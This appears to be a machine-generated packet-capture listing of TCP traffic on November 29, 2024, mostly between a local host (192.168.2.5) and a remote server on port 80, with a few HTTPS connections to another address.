Nov 29, 2024 19:49:41.926034927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.927067041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.927119970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.927160025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.927227020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.928273916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.928329945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.928385019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.928430080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.929521084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.929599047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.929723978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.929780960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.930728912 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.930799007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.930821896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.930835009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.931941032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.931988001 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.932040930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.932087898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.933140993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.933259010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.933312893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.934354067 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.934417009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.934495926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.934545040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.935586929 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.935643911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.935702085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.935758114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.936810017 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.936866045 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.936867952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.936912060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.938024044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.938076973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.938179016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.938227892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.939194918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.939296961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.939304113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.939361095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.940396070 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.940452099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.940507889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.940553904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.941601992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.941654921 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.941737890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.941790104 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.942909956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.942965984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.943017960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.943077087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.944039106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.944086075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.944170952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.944220066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.945265055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.945318937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.945388079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.945432901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.946490049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.946654081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.946708918 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.947846889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.947926044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.947983027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.948890924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.948945999 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.949004889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.949048042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.950158119 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.950233936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.950319052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.086812973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.086992025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.087047100 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.087321997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.087367058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.087376118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.087408066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.088196993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.088332891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.088392019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.089354038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.089420080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.089452982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.089498997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.090538979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.090617895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.090698957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.090745926 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.091681004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.091732979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.091756105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.091876984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.092842102 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.092931032 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.092984915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.094017029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.094062090 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.094089985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.094134092 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.095242977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.095298052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.095340967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.095383883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.096324921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.096390963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.096398115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.096426964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.097495079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.097675085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.097714901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.097726107 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.098639011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.098823071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.098865032 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.099800110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.099873066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.099924088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.100958109 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.101008892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.101070881 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.101119995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.102123022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.102166891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.102207899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.102288008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.103270054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.103362083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.103441000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.103589058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.104537010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.104610920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.104659081 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.105600119 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.105647087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.105916977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.105963945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.106739998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.106786966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.106870890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.106926918 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.107908964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.107954025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.108031034 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.108078957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.109071016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.109128952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.109303951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.109348059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.110318899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.110578060 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.110622883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.111484051 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.111531973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.111572981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.111619949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.112623930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.112669945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.112989902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.113054037 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.113722086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.113765955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.113848925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.113890886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.114881992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.114936113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.115020990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.115061045 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.116072893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.116121054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.116194010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.116241932 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.117186069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.117242098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.117299080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.117366076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.118429899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.118486881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.118558884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.118603945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.119555950 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.119601965 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.119687080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.119771004 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.120695114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.120768070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.120836973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.120883942 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.121916056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.121963024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.122083902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.122132063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.123042107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.123089075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.123125076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.123169899 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.124123096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.124169111 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.124243975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.124289989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.125303984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.125349998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.125413895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.125461102 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.126456022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.126504898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.126526117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.126569986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.127609015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.127660990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.127747059 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.127794981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.128793001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.128843069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.128990889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.129038095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.129957914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.130007029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.130089998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.130136967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.131093025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.131143093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.131177902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.131225109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.132276058 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.132323980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.132369041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.132416010 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.133464098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.133511066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.133667946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.133713007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.134608984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.134658098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.134748936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.134795904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.135930061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.135982990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.136010885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.136054039 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.136953115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.137002945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.137094975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.137140036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.138102055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.138170958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.138348103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.138396025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.139240026 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.139286995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.139353991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.139400005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.140408039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.140455961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.140495062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.140542984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.141566992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.141614914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.141680002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.141725063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.142690897 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.142735004 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.142807961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.142867088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.143867016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.143915892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.144023895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.144081116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.145054102 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.145103931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.145179033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.145227909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.146218061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.146249056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.146267891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.146286011 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.147358894 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.147406101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.147435904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.147476912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.148607016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.148662090 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.148685932 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.148726940 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.149674892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.149724007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.149753094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.149795055 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.150800943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.150851965 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.203387022 CET	443	49778	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.204032898 CET	49778	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.204063892 CET	443	49778	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.204551935 CET	49778	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.204556942 CET	443	49778	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.276729107 CET	443	49779	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.278152943 CET	49779	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.278181076 CET	443	49779	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.278655052 CET	49779	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.278661013 CET	443	49779	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.288081884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.288167953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.288197994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.288244009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.288647890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.288697958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.288777113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.288850069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.288913965 CET	443	49780	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.289310932 CET	49780	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.289329052 CET	443	49780	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.289766073 CET	49780	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:42.289771080 CET	443	49780	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:42.289793015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.289839983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.289933920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.289982080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.290946960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.291002035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.291121960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.291171074 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.292107105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.292162895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.292197943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.292244911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.293237925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.293293953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.293375015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.293426037 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.294361115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.294414997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.294482946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:42.294527054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:42.295535088 CET	80	49772	185.215.113.206	192.168.2.5
